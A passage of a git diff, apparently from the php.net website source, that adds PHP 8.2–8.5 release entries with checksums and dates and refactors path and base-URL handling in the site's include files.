'php-8.2.34.tar.bz2', + 'name' => 'PHP 8.2.34 (tar.bz2)', + 'sha256' => '0467d63a819016811d35fd14f734764813ab149750379790634294c723cd7562', + 'date' => '24 Sep 2026', + ), + 2 => + array ( + 'filename' => 'php-8.2.34.tar.xz', + 'name' => 'PHP 8.2.34 (tar.xz)', + 'sha256' => '5351330c54de240f54f7527c26ef292e239749e6fe11db0330acb5317e02bb39', + 'date' => '24 Sep 2026', + ), + ), + 'museum' => false, + ), + '8.4.25' => + array ( + 'announcement' => + array ( + 'English' => '/releases/8_4_25.php', + ), + 'tags' => + array ( + 0 => '', + ), + 'date' => '27 Aug 2026', + 'source' => + array ( + 0 => + array ( + 'filename' => 'php-8.4.25.tar.gz', + 'name' => 'PHP 8.4.25 (tar.gz)', + 'sha256' => '5cde1da976b728fa09e6b549a4c8afcd0c180337028dacf34f73b11be50253db', + 'date' => '27 Aug 2026', + ), + 1 => + array ( + 'filename' => 'php-8.4.25.tar.bz2', + 'name' => 'PHP 8.4.25 (tar.bz2)', + 'sha256' => '952ccc1785266b958f4a1dcfc580e08eabbb79f44222d1eff192bcd98d91f6e3', + 'date' => '27 Aug 2026', + ), + 2 => + array ( + 'filename' => 'php-8.4.25.tar.xz', + 'name' => 'PHP 8.4.25 (tar.xz)', + 'sha256' => 'dc1ad8b4109898d9db49744450403874858c23efc685b1032a50bd1e83906848', + 'date' => '27 Aug 2026', + ), + ), + 'museum' => false, + ), + '8.2.33' => + array ( + 'announcement' => + array ( + 'English' => '/releases/8_2_33.php', + ), + 'tags' => + array ( + 0 => 'security', + ), + 'date' => '30 Jul 2026', + 'source' => + array ( + 0 => + array ( + 'filename' => 'php-8.2.33.tar.gz', + 'name' => 'PHP 8.2.33 (tar.gz)', + 'sha256' => '9a525d4db1237ede408e454b46f5a93b9e45d83d71753592e3f921903d917e07', + 'date' => '30 Jul 2026', + ), + 1 => + array ( + 'filename' => 'php-8.2.33.tar.bz2', + 'name' => 'PHP 8.2.33 (tar.bz2)', + 'sha256' => '5362f2a7a0e7168ce722fea0048b1a1d28e0f7cc265c417df670c65670695018', + 'date' => '30 Jul 2026', + ), + 2 => + array ( + 'filename' => 'php-8.2.33.tar.xz', + 'name' => 'PHP 8.2.33 (tar.xz)', + 'sha256' => 'fbdeace9b38220436a4c8fd79b900df92878151db145e641750743a283b514c1', + 'date' => '30 Jul 2026', + ), + ), + 'museum' => false, + ), + '8.5.10' => + array ( + 'announcement' => + array ( + 'English' => '/releases/8_5_10.php', + ), + 'tags' => + array ( + 0 => '', + ), + 'date' => '27 Aug 2026', + 'source' => + array ( + 0 => + array ( + 'filename' => 'php-8.5.10.tar.gz', + 'name' => 'PHP 8.5.10 (tar.gz)', + 'sha256' => 'f5c0ac99b85b3d677de475c2e4f509f9b4f54663f3ee5a84d6d9481a521d4100', + 'date' => '27 Aug 2026', + ), + 1 => + array ( + 'filename' => 'php-8.5.10.tar.bz2', + 'name' => 'PHP 8.5.10 (tar.bz2)', + 'sha256' => 'd79bd4f3a9248e5cb5833766ba0d51cd35dd01b8727f23f30bcdba6fabc51d3e', + 'date' => '27 Aug 2026', + ), + 2 => + array ( + 'filename' => 'php-8.5.10.tar.xz', + 'name' => 'PHP 8.5.10 (tar.xz)', + 'sha256' => '6a8bebaa4d5a979a38db29a9373e9851f60c6b11f72172c585947e78f3081957', + 'date' => '27 Aug 2026', + ), + ), + 'museum' => false, + ), + '8.3.33' => + array ( + 'announcement' => + array ( + 'English' => '/releases/8_3_33.php', + ), + 'tags' => + array ( + 0 => 'security', + ), + 'date' => '30 Jul 2026', + 'source' => + array ( + 0 => + array ( + 'filename' => 'php-8.3.33.tar.gz', + 'name' => 'PHP 8.3.33 (tar.gz)', + 'sha256' => 'f43566da482abeb1614a512dabeda74967847ce8e176a977390d7a115e7812fd', + 'date' => '30 Jul 2026', + ), + 1 => + array ( + 'filename' => 'php-8.3.33.tar.bz2', + 'name' => 'PHP 8.3.33 (tar.bz2)', + 'sha256' => 'f9c9f4d0cd7692c6e3da363cd4ca72a826a49ae18f5ed430b6fcae7bc2881e18', + 'date' => '30 Jul 2026', + ), + 2 => + array ( + 'filename' => 'php-8.3.33.tar.xz', + 'name' => 'PHP 8.3.33 (tar.xz)', + 'sha256' => 'e293ed620cec74651bb4a071317892a478aa6840fab22db45c72d77cd42f9676', + 'date' => '30 Jul 2026', + ), + ), + 'museum' => false, + ), + '8.5.9' => + array ( + 'announcement' => + array ( + 'English' => '/releases/8_5_9.php', + ), + 'tags' => + array ( + 0 => 'security', + ), + 'date' => '30 Jul 2026', + 'source' => + array ( + 0 => + array ( + 'filename' => 'php-8.5.9.tar.gz', + 'name' => 'PHP 8.5.9 (tar.gz)', + 'sha256' => 'd735459c2cbaeb0673d416c33d372d9ff261d562f6b29da48f3e6aeaeca083af', + 'date' => '30 Jul 2026', + ), + 1 => + array ( + 'filename' => 'php-8.5.9.tar.bz2', + 'name' => 'PHP 8.5.9 (tar.bz2)', + 'sha256' => '703c082ad9d2946ac647f3596812300d2c62b360d2f31a999021692a9b39476c', + 'date' => '30 Jul 2026', + ), + 2 => + array ( + 'filename' => 'php-8.5.9.tar.xz', + 'name' => 'PHP 8.5.9 (tar.xz)', + 'sha256' => '0db7855f25bcd0ab1d592cdb35e284d6f6a5d2ae0f6f621122e364cc39b708f4', + 'date' => '30 Jul 2026', + ), + ), + 'museum' => false, + ), + '8.4.24' => + array ( + 'announcement' => + array ( + 'English' => '/releases/8_4_24.php', + ), + 'tags' => + array ( + 0 => 'security', + ), + 'date' => '30 Jul 2026', + 'source' => + array ( + 0 => + array ( + 'filename' => 'php-8.4.24.tar.gz', + 'name' => 'PHP 8.4.24 (tar.gz)', + 'sha256' => 'd5fe6a1d7633e70645dc757461eeb7b764ff6a04d0487f076dd56f1f9d8059db', + 'date' => '30 Jul 2026', + ), + 1 => + array ( + 'filename' => 'php-8.4.24.tar.bz2', + 'name' => 'PHP 8.4.24 (tar.bz2)', + 'sha256' => '286890447588510df110ede9e9ce09f1eb4f9856630b47fdc40ece70e20373cf', + 'date' => '30 Jul 2026', + ), + 2 => + array ( + 'filename' => 'php-8.4.24.tar.xz', + 'name' => 'PHP 8.4.24 (tar.xz)', + 'sha256' => 'e127be09a8506f4327c5cfa78a614b00d210714484ec215ce0011b4a03c00731', + 'date' => '30 Jul 2026', + ), + ), + 'museum' => false, + ), + '8.4.23' => + array ( + 'announcement' => + array ( + 'English' => '/releases/8_4_23.php', + ), + 'tags' => + array ( + 0 => 'security', + ), + 'date' => '02 Jul 2026', + 'source' => + array ( + 0 => + array ( + 'filename' => 'php-8.4.23.tar.gz', + 'name' => 'PHP 8.4.23 (tar.gz)', + 'sha256' => 'f43b69572cabfb91c023356f3ce197c782d8a255bc084c1a6af58c0e86cf7573', + 'date' => '02 Jul 2026', + ), + 1 => + array ( + 'filename' => 'php-8.4.23.tar.bz2', + 'name' => 'PHP 8.4.23 (tar.bz2)', + 'sha256' => 'c142c063b10cff68d072766e3ffbfb3654a089b938668b0830356437ee95e0fa', + 'date' => '02 Jul 2026', + ), + 2 => + array ( + 'filename' => 'php-8.4.23.tar.xz', + 'name' => 'PHP 8.4.23 (tar.xz)', + 'sha256' => '1ab9f52008414e43bb2427ffa288eff2a4de39e1a830f957e800ba368d887a72', + 'date' => '02 Jul 2026', + ), + ), + 'museum' => false, + ), + '8.3.32' => + array ( + 'announcement' => + array ( + 'English' => '/releases/8_3_32.php', + ), + 'tags' => + array ( + 0 => 'security', + ), + 'date' => '02 Jul 2026', + 'source' => + array ( + 0 => + array ( + 'filename' => 'php-8.3.32.tar.gz', + 'name' => 'PHP 8.3.32 (tar.gz)', + 'sha256' => '8e1f03eea0b07bc29e1f94d3cfcf0532b0421ec63c1792346b58c3ad8e40fc9b', + 'date' => '02 Jul 2026', + ), + 1 => + array ( + 'filename' => 'php-8.3.32.tar.bz2', + 'name' => 'PHP 8.3.32 (tar.bz2)', + 'sha256' => 'f777ca24661966f94b31f6840cdad437cf30501537db8b872b1b7a1c244b8d02', + 'date' => '02 Jul 2026', + ), + 2 => + array ( + 'filename' => 'php-8.3.32.tar.xz', + 'name' => 'PHP 8.3.32 (tar.xz)', + 'sha256' => '8698ec1f9402fa5e5e872ae3d0916b62f5f27503c1fbfc9cc3521e113355ea92', + 'date' => '02 Jul 2026', + ), + ), + 'museum' => false, + ), + '8.5.8' => + array ( + 'announcement' => + array ( + 'English' => '/releases/8_5_8.php', + ), + 'tags' => + array ( + 0 => 'security', + ), + 'date' => '02 Jul 2026', + 'source' => + array ( + 0 => + array ( + 'filename' => 'php-8.5.8.tar.gz', + 'name' => 'PHP 8.5.8 (tar.gz)', + 'sha256' => '6ebc55e52af4396385e689f7af0f28944fbbf966843433b573e9dc1dc03df539', + 'date' => '02 Jul 2026', + ), + 1 => + array ( + 'filename' => 'php-8.5.8.tar.bz2', + 'name' => 'PHP 8.5.8 (tar.bz2)', + 'sha256' => '22f938efc6c4eaa8bf2e40ae11466140309496aa5d5a19204272fb2596fd11dd', + 'date' => '02 Jul 2026', + ), + 2 => + array ( + 'filename' => 'php-8.5.8.tar.xz', + 'name' => 'PHP 8.5.8 (tar.xz)', + 'sha256' => '58910198d19e873048fe87cdfe16bc790025417ede3d1651bfa1c4b533d573f2', + 'date' => '02 Jul 2026', + ), + ), + 'museum' => false, + ), + '8.2.32' => + array ( + 'announcement' => + array ( + 'English' => '/releases/8_2_32.php', + ), + 'tags' => + array ( + 0 => 'security', + ), + 'date' => '02 Jul 2026', + 'source' => + array ( + 0 => + array ( + 'filename' => 'php-8.2.32.tar.gz', + 'name' => 'PHP 8.2.32 (tar.gz)', + 'sha256' => '56c9d6911da0d337e2c1681f6a767ac0571821e1f16c8fdf9c248bf317d99b94', + 'date' => '02 Jul 2026', + ), + 1 => + array ( + 'filename' => 'php-8.2.32.tar.bz2', + 'name' => 'PHP 8.2.32 (tar.bz2)', + 'sha256' => '8f21e988ca4dd5e14dd9fb889884487843566e487280027c4efab6c93188a2d1', + 'date' => '02 Jul 2026', + ), + 2 => + array ( + 'filename' => 'php-8.2.32.tar.xz', + 'name' => 'PHP 8.2.32 (tar.xz)', + 'sha256' => 'e02aa173c236c12791696254d607da680e6d5516f8f5c2339642de7c4f944bd2', + 'date' => '02 Jul 2026', + ), + ), + 'museum' => false, + ), + '8.5.7' => + array ( + 'announcement' => + array ( + 'English' => '/releases/8_5_7.php', + ), + 'tags' => + array ( + ), + 'date' => '04 Jun 2026', + 'source' => + array ( + 0 => + array ( + 'filename' => 'php-8.5.7.tar.gz', + 'name' => 'PHP 8.5.7 (tar.gz)', + 'sha256' => 'e5eba93fd6dd3241d0e61e932eb99a3783b40568553fb0e511b660ecd863a049', + 'date' => '04 Jun 2026', + ), + 1 => + array ( + 'filename' => 'php-8.5.7.tar.bz2', + 'name' => 'PHP 8.5.7 (tar.bz2)', + 'sha256' => '4ef9355f784d4b320151eb3f31c5941c0da297025eedb97f2838b2ce73dd59bf', + 'date' => '04 Jun 2026', + ), + 2 => + array ( + 'filename' => 'php-8.5.7.tar.xz', + 'name' => 'PHP 8.5.7 (tar.xz)', + 'sha256' => '01ba2ed1c2658dacf91bebc8be6a4885f69b811c7993831fc48e26107ab29985', + 'date' => '04 Jun 2026', + ), + ), + 'museum' => false, + ), + '8.4.22' => + array ( + 'announcement' => + array ( + 'English' => '/releases/8_4_22.php', + ), + 'tags' => + array ( + ), + 'date' => '04 Jun 2026', + 'source' => + array ( + 0 => + array ( + 'filename' => 'php-8.4.22.tar.gz', + 'name' => 'PHP 8.4.22 (tar.gz)', + 'sha256' => 'a012c2c9724baf214a70b41b40a7e130906b8855e54268afa5bc4ae17bc9d823', + 'date' => '04 Jun 2026', + ), + 1 => + array ( + 'filename' => 'php-8.4.22.tar.bz2', + 'name' => 'PHP 8.4.22 (tar.bz2)', + 'sha256' => '4b16e7e2c384ce25e07d28eb949855c4b4fe0d1b7b9ec9c8eebd05d0cfa9c532', + 'date' => '04 Jun 2026', + ), + 2 => + array ( + 'filename' => 'php-8.4.22.tar.xz', + 'name' => 'PHP 8.4.22 (tar.xz)', + 'sha256' => '696c0f6ad92e94c59059c1eb6e300842b8d050934226efcdf00f2a413cb083cf', + 'date' => '04 Jun 2026', + ), + ), + 'museum' => false, + ), + '8.3.31' => + array ( + 'announcement' => + array ( + 'English' => '/releases/8_3_31.php', + ), + 'tags' => + array ( + 0 => 'security', + ), + 'date' => '07 May 2026', + 'source' => + array ( + 0 => + array ( + 'filename' => 'php-8.3.31.tar.gz', + 'name' => 'PHP 8.3.31 (tar.gz)', + 'sha256' => '4e7baaf0a690e954a20e7ced3dd633ce8cb8094e2b6b612a55e703ecbbdcbf4f', + 'date' => '07 May 2026', + ), + 1 => + array ( + 'filename' => 'php-8.3.31.tar.bz2', + 'name' => 'PHP 8.3.31 (tar.bz2)', + 'sha256' => 'e6986b1fd37eb25402127fe4a7278a3e03b7f9025bb7a4bd292a271bdf930fb9', + 'date' => '07 May 2026', + ), + 2 => + array ( + 'filename' => 'php-8.3.31.tar.xz', + 'name' => 'PHP 8.3.31 (tar.xz)', + 'sha256' => '66410cee07f4b2baeb0843140bb2a2b52ef930b5cf9b3d6e6d158b33aae8fa37', + 'date' => '07 May 2026', + ), + ), + 'museum' => false, + ), + '8.2.31' => + array ( + 'announcement' => + array ( + 'English' => '/releases/8_2_31.php', + ), + 'tags' => + array ( + 0 => 'security', + ), + 'date' => '07 May 2026', + 'source' => + array ( + 0 => + array ( + 'filename' => 'php-8.2.31.tar.gz', + 'name' => 'PHP 8.2.31 (tar.gz)', + 'sha256' => '083c2f61cc5f527eb293c4c468a91af46a9678785957e023b2796a9db290d870', + 'date' => '07 May 2026', + ), + 1 => + array ( + 'filename' => 'php-8.2.31.tar.bz2', + 'name' => 'PHP 8.2.31 (tar.bz2)', + 'sha256' => '948183fa04cf261c9b9363c02f428977b9ddf8c0bfdff8e8e1fba816ed570803', + 'date' => '07 May 2026', + ), + 2 => + array ( + 'filename' => 'php-8.2.31.tar.xz', + 'name' => 'PHP 8.2.31 (tar.xz)', + 'sha256' => '95eae411d594fe6f6e5678b76645dc13ae47d3c0a5325c1d969b58dea56ee45a', + 'date' => '07 May 2026', + ), + ), + 'museum' => false, + ), + '8.4.21' => + array ( + 'announcement' => + array ( + 'English' => '/releases/8_4_21.php', + ), + 'tags' => + array ( + 0 => 'security', + ), + 'date' => '07 May 2026', + 'source' => + array ( + 0 => + array ( + 'filename' => 'php-8.4.21.tar.gz', + 'name' => 'PHP 8.4.21 (tar.gz)', + 'sha256' => 'db96ee0a8e5ee7b73a4913a2aeddc162ba2ef16cd34b9347b5b9a6150e1f8e48', + 'date' => '07 May 2026', + ), + 1 => + array ( + 'filename' => 'php-8.4.21.tar.bz2', + 'name' => 'PHP 8.4.21 (tar.bz2)', + 'sha256' => '5e0bd287f3be35bf57c211b010527ae5e10a88170f96e64d336044eb5faef430', + 'date' => '07 May 2026', + ), + 2 => + array ( + 'filename' => 'php-8.4.21.tar.xz', + 'name' => 'PHP 8.4.21 (tar.xz)', + 'sha256' => '7cf5d8ab12c3b2016875bcfaec71bef1ef0b07bed6148f2c447577074431f984', + 'date' => '07 May 2026', + ), + ), + 'museum' => false, + ), + '8.5.6' => + array ( + 'announcement' => + array ( + 'English' => '/releases/8_5_6.php', + ), + 'tags' => + array ( + 0 => 'security', + ), + 'date' => '07 May 2026', + 'source' => + array ( + 0 => + array ( + 'filename' => 'php-8.5.6.tar.gz', + 'name' => 'PHP 8.5.6 (tar.gz)', + 'sha256' => '169aaa21c2834b38df8e39169f43bc5bea8d4059a816cfbc59be08fc2bae60cd', + 'date' => '07 May 2026', + ), + 1 => + array ( + 'filename' => 'php-8.5.6.tar.bz2', + 'name' => 'PHP 8.5.6 (tar.bz2)', + 'sha256' => '4457240f65f0c59a620920d66cdab1b12100a431e03ad9febe38b13a1b25957f', + 'date' => '07 May 2026', + ), + 2 => + array ( + 'filename' => 'php-8.5.6.tar.xz', + 'name' => 'PHP 8.5.6 (tar.xz)', + 'sha256' => '826c600b7c6f956bd335558ca3bdbcab23b22126c1cc8d9348be2280a2204bb7', + 'date' => '07 May 2026', + ), + ), + 'museum' => false, + ), + '8.5.5' => + array ( + 'announcement' => + array ( + 'English' => '/releases/8_5_5.php', + ), + 'tags' => + array ( + ), + 'date' => '09 Apr 2026', + 'source' => + array ( + 0 => + array ( + 'filename' => 'php-8.5.5.tar.gz', + 'name' => 'PHP 8.5.5 (tar.gz)', + 'sha256' => '276279f637a875a514346b332bba6d8b06c036cf7979a858e5c55f72c4874884', + 'date' => '09 Apr 2026', + ), + 1 => + array ( + 'filename' => 'php-8.5.5.tar.bz2', + 'name' => 'PHP 8.5.5 (tar.bz2)', + 'sha256' => 'ee262beff61c431965d1f97192854b36208adeac38983c3498bb3500ae87283c', + 'date' => '09 Apr 2026', + ), + 2 => + array ( + 'filename' => 'php-8.5.5.tar.xz', + 'name' => 'PHP 8.5.5 (tar.xz)', + 'sha256' => '95bec382f4bd00570a8ef52a58ec04d8d9b9a90494781f1c106d1b274a3902f2', + 'date' => '09 Apr 2026', + ), + ), + 'museum' => false, + ), + '8.2.30' => + array ( + 'announcement' => + array ( + 'English' => '/releases/8_2_30.php', + ), + 'tags' => + array ( + 0 => 'security', + ), + 'date' => '18 Dec 2025', + 'source' => + array ( + 0 => + array ( + 'filename' => 'php-8.2.30.tar.gz', + 'name' => 'PHP 8.2.30 (tar.gz)', + 'sha256' => 'a0fa6673ba4b0c8335fbab08afb7c2e13a3791f2b5a0928c7ad3d7ad872edf26', + 'date' => '18 Dec 2025', + ), + 1 => + array ( + 'filename' => 'php-8.2.30.tar.bz2', + 'name' => 'PHP 8.2.30 (tar.bz2)', + 'sha256' => '104820b6c8fc959dde4b3342135f42bdabf246e86918a16381a17d8447c866fa', + 'date' => '18 Dec 2025', + ), + 2 => + array ( + 'filename' => 'php-8.2.30.tar.xz', + 'name' => 'PHP 8.2.30 (tar.xz)', + 'sha256' => 'bc90523e17af4db46157e75d0c9ef0b9d0030b0514e62c26ba7b513b8c4eb015', + 'date' => '18 Dec 2025', + ), + ), + 'museum' => false, + ), + '8.4.20' => + array ( + 'announcement' => + array ( + 'English' => '/releases/8_4_20.php', + ), + 'tags' => + array ( + ), + 'date' => '09 Apr 2026', + 'source' => + array ( + 0 => + array ( + 'filename' => 'php-8.4.20.tar.gz', + 'name' => 'PHP 8.4.20 (tar.gz)', + 'sha256' => 'a2def5d534d57c6a0236f2265de7537608af871900a4f7955eff463e9e38247d', + 'date' => '09 Apr 2026', + ), + 1 => + array ( + 'filename' => 'php-8.4.20.tar.bz2', + 'name' => 'PHP 8.4.20 (tar.bz2)', + 'sha256' => 'ce25d2610a5f9522ac8f53fbb7b8280b5c021991e9bd9137068c9c629d9ffb56', + 'date' => '09 Apr 2026', + ), + 2 => + array ( + 'filename' => 'php-8.4.20.tar.xz', + 'name' => 'PHP 8.4.20 (tar.xz)', + 'sha256' => 'e454c6f7c89a42f41ebb06dc5c3578e8c8b5f1a3f0da6675665affab04e221f7', + 'date' => '09 Apr 2026', + ), + ), + 'museum' => false, + ), + '8.3.30' => + array ( + 'announcement' => + array ( + 'English' => '/releases/8_3_30.php', + ), + 'tags' => + array ( + ), + 'date' => '15 Jan 2026', + 'source' => + array ( + 0 => + array ( + 'filename' => 'php-8.3.30.tar.gz', + 'name' => 'PHP 8.3.30 (tar.gz)', + 'sha256' => 'e587dc95fb7f62730299fa7b36b6e4f91e6708aaefa2fff68a0098d320c16386', + 'date' => '15 Jan 2026', + ), + 1 => + array ( + 'filename' => 'php-8.3.30.tar.bz2', + 'name' => 'PHP 8.3.30 (tar.bz2)', + 'sha256' => '800b7b6ed50b73c8ee7844ee5f2f7cc612faa7875a0aa7c4529e8ed5866a5030', + 'date' => '15 Jan 2026', + ), + 2 => + array ( + 'filename' => 'php-8.3.30.tar.xz', + 'name' => 'PHP 8.3.30 (tar.xz)', + 'sha256' => '67f084d36852daab6809561a7c8023d130ca07fc6af8fb040684dd1414934d48', + 'date' => '15 Jan 2026', + ), + ), + 'museum' => false, + ), + '8.4.19' => + array ( + 'announcement' => + array ( + 'English' => '/releases/8_4_19.php', + ), + 'tags' => + array ( + ), + 'date' => '12 Mar 2026', + 'source' => + array ( + 0 => + array ( + 'filename' => 'php-8.4.19.tar.gz', + 'name' => 'PHP 8.4.19 (tar.gz)', + 'sha256' => '9e862435ffb533dc5b0eb486170a74e5f7c8095e8eb8819a2ff5aad430292a18', + 'date' => '12 Mar 2026', + ), + 1 => + array ( + 'filename' => 'php-8.4.19.tar.bz2', + 'name' => 'PHP 8.4.19 (tar.bz2)', + 'sha256' => 'bceb7798ed37b442fe523ae7ef345ccc2231db0b022d30735c2e378d3254a0d4', + 'date' => '12 Mar 2026', + ), + 2 => + array ( + 'filename' => 'php-8.4.19.tar.xz', + 'name' => 'PHP 8.4.19 (tar.xz)', + 'sha256' => '11f7164ab26d356c31f94d3d69cc0e0707d5d2d6494a221aaeae307c08eaaa1c', + 'date' => '12 Mar 2026', + ), + ), + 'museum' => false, + ), + '8.5.4' => + array ( + 'announcement' => + array ( + 'English' => '/releases/8_5_4.php', + ), + 'tags' => + array ( + ), + 'date' => '12 Mar 2026', + 'source' => + array ( + 0 => + array ( + 'filename' => 'php-8.5.4.tar.gz', + 'name' => 'PHP 8.5.4 (tar.gz)', + 'sha256' => '4fef7f44eff3c18e329504cb0d3eb30b41cf54e2db05cb4ebe8b78fc37d38ce1', + 'date' => '12 Mar 2026', + ), + 1 => + array ( + 'filename' => 'php-8.5.4.tar.bz2', + 'name' => 'PHP 8.5.4 (tar.bz2)', + 'sha256' => '2ac929a29a6b7ef4b8acec981a417b91bdf7f548f597df665cc56ab9ea95fc75', + 'date' => '12 Mar 2026', + ), + 2 => + array ( + 'filename' => 'php-8.5.4.tar.xz', + 'name' => 'PHP 8.5.4 (tar.xz)', + 'sha256' => 'c1569f1f543f6b025c583cdc0e730e5c5833c603618613f1aa8e75d1524b8c91', + 'date' => '12 Mar 2026', + ), + ), + 'museum' => false, + ), + '8.5.3' => + array ( + 'announcement' => + array ( + 'English' => '/releases/8_5_3.php', + ), + 'tags' => + array ( + ), + 'date' => '12 Feb 2026', + 'source' => + array ( + 0 => + array ( + 'filename' => 'php-8.5.3.tar.gz', + 'name' => 'PHP 8.5.3 (tar.gz)', + 'sha256' => '402654d99b4beda602d4daec4f1cd39aafdacf5923e3e947da87392826660146', + 'date' => '12 Feb 2026', + ), + 1 => + array ( + 'filename' => 'php-8.5.3.tar.bz2', + 'name' => 'PHP 8.5.3 (tar.bz2)', + 'sha256' => 'fc5ecabc183ceb64d9fca3dcd387bd29b2b67448326af998fde003124916823b', + 'date' => '12 Feb 2026', + ), + 2 => + array ( + 'filename' => 'php-8.5.3.tar.xz', + 'name' => 'PHP 8.5.3 (tar.xz)', + 'sha256' => 'ce65725b8af07356b69a6046d21487040b11f2acfde786de38b2bfb712c36eb9', + 'date' => '12 Feb 2026', + ), + ), + 'museum' => false, + ), + '8.4.18' => + array ( + 'announcement' => + array ( + 'English' => '/releases/8_4_18.php', + ), + 'tags' => + array ( + ), + 'date' => '12 Feb 2026', + 'source' => + array ( + 0 => + array ( + 'filename' => 'php-8.4.18.tar.gz', + 'name' => 'PHP 8.4.18 (tar.gz)', + 'sha256' => '79636f2890976e7507123988c4750e592a6eb35cd407bfa7d2bb35ad15af3a06', + 'date' => '12 Feb 2026', + ), + 1 => + array ( + 'filename' => 'php-8.4.18.tar.bz2', + 'name' => 'PHP 8.4.18 (tar.bz2)', + 'sha256' => '586b32d92cebcfbca495c5f6ad1a33640553d0a9c0bfd2e6715334d959cf9858', + 'date' => '12 Feb 2026', + ), + 2 => + array ( + 'filename' => 'php-8.4.18.tar.xz', + 'name' => 'PHP 8.4.18 (tar.xz)', + 'sha256' => '957a9b19b4a8e965ee0cc788ca74333bfffaadc206b58611b6cd3cc8b2f40110', + 'date' => '12 Feb 2026', + ), + ), + 'museum' => false, + ), '8.5.2' => array ( 'announcement' => diff --git a/include/shared-footer.inc b/include/shared-footer.inc new file mode 100644 index 0000000000..bcd9ff0eaa --- /dev/null +++ b/include/shared-footer.inc @@ -0,0 +1,109 @@ + + diff --git a/include/shared-manual.inc b/include/shared-manual.inc index 821b2704ba..4d37f98125 100644 --- a/include/shared-manual.inc +++ b/include/shared-manual.inc @@ -23,6 +23,7 @@ $PGI = []; $SIDEBAR_DATA = ''; // ============================================================================= use phpweb\I18n\Languages; +use phpweb\ProjectGlobals; use phpweb\UserNotes\Sorter; use phpweb\UserNotes\UserNote; @@ -35,7 +36,7 @@ function manual_notes($notes):void { global $LANG; // Get needed values - list($filename) = $GLOBALS['PGI']['this']; + [$filename] = $GLOBALS['PGI']['this']; // Drop file extension from the name if (substr($filename, -4) == '.php') { @@ -96,7 +97,7 @@ END_USERNOTE_HEADER; function manual_notes_load(string $id): array { $hash = substr(md5($id), 0, 16); - $notes_file = $_SERVER['DOCUMENT_ROOT'] . "/backend/notes/" . + $notes_file = ProjectGlobals::getBackendRoot() . "/notes/" . substr($hash, 0, 2) . "/$hash"; // Open the note file for reading and get the data (12KB) @@ -140,7 +141,7 @@ function manual_note_display(UserNote $note, $voteOption = true): void // Vote User Notes Div if ($voteOption) { - list($redir_filename) = $GLOBALS['PGI']['this']; + [$redir_filename] = $GLOBALS['PGI']['this']; if (substr($redir_filename, -4) == '.php') { $redir_filename = substr($redir_filename, 0, -4); } @@ -286,9 +287,9 @@ function manual_setup($setup): void { $_SERVER['BASE_HREF'] = $MYSITE . $_SERVER['BASE_PAGE']; $timestamps = [ - filemtime($_SERVER["DOCUMENT_ROOT"] . "/" . $_SERVER["BASE_PAGE"]), - filemtime($_SERVER["DOCUMENT_ROOT"] . "/include/prepend.inc"), - filemtime($_SERVER["DOCUMENT_ROOT"] . "/styles/theme-base.css"), + filemtime(ProjectGlobals::getPublicRoot() . "/" . $_SERVER["BASE_PAGE"]), + filemtime(ProjectGlobals::getProjectRoot() . "/include/prepend.inc"), + filemtime(ProjectGlobals::getPublicRoot() . "/styles/theme-base.css"), ]; // Load user note for this page @@ -325,6 +326,7 @@ function manual_setup($setup): void { "prev" => $setup["prev"], "next" => $setup["next"], "cache" => $lastmod, + 'cache_control' => 5 * 60, // 5 minutes "description" => $setup["this"][2] ?? null, ]; site_header($setup["this"][1] . " - Manual", $config); diff --git a/include/site.inc b/include/site.inc index aae24537a6..2f48c491ea 100644 --- a/include/site.inc +++ b/include/site.inc @@ -233,24 +233,14 @@ function get_shortname($page) { return $shorturl; } -// Guess the current site from what Apache tells us. -// This should be the main name of the mirror (in case -// it works under more then one name). SERVER_NAME is -// the name of the Apache vhost. - -if (!isset($_SERVER["HTTPS"]) || $_SERVER["HTTPS"] != "on") { - $proto = "http"; -} else { - $proto = "https"; -} +// Build the base URL for the current site using the +// request scheme (HTTP/HTTPS) and the Host header. -if ($_SERVER["SERVER_PORT"] != '80' && $_SERVER["SERVER_PORT"] != 443) { - $MYSITE = $proto . '://' . $_SERVER["SERVER_NAME"] . ':' . (int)$_SERVER["SERVER_PORT"] . '/'; - $msite = 'http://' . $_SERVER["SERVER_NAME"] . ':' . (int)$_SERVER["SERVER_PORT"] . '/'; -} else { - $MYSITE = $proto . '://' . $_SERVER["SERVER_NAME"] . '/'; - $msite = 'https://' . $_SERVER["SERVER_NAME"] . '/'; -} +$scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') + ? 'https' + : 'http'; + +$MYSITE = $scheme . '://' . $_SERVER['HTTP_HOST'] . '/'; // If the mirror is not registered with this name, provide defaults // (no country code, no search, no stats, English default language ...) diff --git a/include/version.inc b/include/version.inc index 00166b423f..98b21a1d19 100644 --- a/include/version.inc +++ b/include/version.inc @@ -20,61 +20,62 @@ $RELEASES = (function () { /* PHP 8.5 Release */ $data['8.5'] = [ - 'version' => '8.5.3', - 'date' => '12 Feb 2026', - 'tags' => [], // Set to ['security'] for security releases. + 'version' => '8.5.12', + 'date' => '21 Oct 2026', + 'tags' => ['security'], // Set to ['security'] for security releases. 'sha256' => [ // WARNING: Order of SHA256 entries here is DIFFERENT from the // order in the manifest - 'tar.gz' => '402654d99b4beda602d4daec4f1cd39aafdacf5923e3e947da87392826660146', - 'tar.bz2' => 'fc5ecabc183ceb64d9fca3dcd387bd29b2b67448326af998fde003124916823b', - 'tar.xz' => 'ce65725b8af07356b69a6046d21487040b11f2acfde786de38b2bfb712c36eb9', + 'tar.gz' => '81a0f450349e84b08eb43faa85f8a4c835684f3cc1c50471775d1317a046c525', + 'tar.bz2' => 'ffb60edc437ced63b5137e4984db379a8111c50049c711510d8b958277efc1a8', + 'tar.xz' => '08bc2eba2a588654ade1357174aa646b761556c862dda0678345ee29ed481209', ] ]; /* PHP 8.4 Release */ $data['8.4'] = [ - 'version' => '8.4.18', - 'date' => '12 Feb 2026', - 'tags' => [], // Set to ['security'] for security releases. + 'version' => '8.4.27', + 'date' => '21 Oct 2026', + 'tags' => ['security'], // Set to ['security'] for security releases. 'sha256' => [ - 'tar.gz' => '79636f2890976e7507123988c4750e592a6eb35cd407bfa7d2bb35ad15af3a06', - 'tar.bz2' => '586b32d92cebcfbca495c5f6ad1a33640553d0a9c0bfd2e6715334d959cf9858', - 'tar.xz' => '957a9b19b4a8e965ee0cc788ca74333bfffaadc206b58611b6cd3cc8b2f40110', + 'tar.gz' => '5bafed9994c1a49796b25b5f61c22c9183bfe046b6acc7b363842d03c77f972f', + 'tar.bz2' => 'b2530a877c722f4b08c9e174a30cb08bac2b7e1903ee6e9e315f0aa9f5f82c24', + 'tar.xz' => 